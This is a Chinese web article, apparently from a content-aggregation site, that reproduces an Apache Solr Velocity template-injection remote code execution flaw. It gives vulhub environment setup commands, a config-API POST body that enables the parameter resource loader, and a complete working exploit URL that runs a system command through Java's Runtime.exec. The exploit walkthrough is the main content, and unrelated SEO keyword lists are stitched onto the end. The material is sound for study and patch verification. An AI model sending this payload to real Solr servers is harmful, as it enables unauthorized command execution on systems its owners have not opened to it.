Apache Solr Velocity模板注入RCE漏洞复现是怎样的
发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,这期内容当中小编将会给大家带来有关Apache Solr Velocity模板注入RCE漏洞复现是怎样的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。0x00 简介
千家信息网最后更新 2026年11月01日Apache Solr Velocity模板注入RCE漏洞复现是怎样的0x00 简介
该漏洞的产生是由于两方面的原因: 当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。 Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)
Apache Solr 5.x - 8.2.0,存在config API版本
自行搭建:
这期内容当中小编将会给大家带来有关Apache Solr Velocity模板注入RCE漏洞复现是怎样的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
0x00 简介
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
0x01 漏洞概述
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)
0x02 影响范围
Apache Solr 5.x - 8.2.0,存在config API版本
0x03 环境搭建
在线环境:
转发本文到朋友圈,截图发至公众号
自行搭建:
使用vulhub中CVE-2019-0193的环境进行搭建
启动vulhub环境:
git clone https://github.com/vulhub/vulhub.gitcd vulhub/solr/CVE-2019-0193docker-compose up -d
创建名为test的Core:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
搭建好后默认端口为8983,访问http://ip:8983 即可

0x04 漏洞利用
利用前提:攻击者需要知道Solr服务中Core的名称才能执行攻击
如上图所示的这个名称就是Core的名称
直接构造POST请求,在/solr/test/config目录POST以下数据(修改Core的配置)
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }}

然后使用公开的exp发送请求
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
即可成功执行命令
上述就是小编为大家分享的Apache Solr Velocity模板注入RCE漏洞复现是怎样的了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注行业资讯频道。
漏洞
攻击
参数
可以通过
环境
服务
名称
攻击者
服务器
模板
内容
命令
就是
插件
文件
格式
用户
资源
分析
控制
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
互联网高科技
百单网互联网科技有限公司
深圳九邦互联网科技有限公司
互联网科技会
互联网科技战争
深圳互联网科技公司
互联网 科技创新
中国互联网科技发展
智慧科技互联网
互联网 视角下的科技创新
上游互联网科技
中国互联网金融科技基金
安控科技rtu产品工业互联网
中国科技互联网公司收入
中国互联网十大科技股排名
翼展科技 首家互联网医院
卓翼科技产业互联网合作
21世纪互联网科技成就
北京品多多互联网科技有限公司
银川新华互联网科技学校招聘
远拓互联网科技
天津摩尔互联网科技
云创客互联网科技公司
互联网金融科技公司干啥的
未来五年的互联网科技
互联网科技公司营业执照怎么办理
山东子淼互联网科技有限公司
互联网科技融合创新
数字科技和互联网金融哪个好
北京瑞云互联网科技有限公司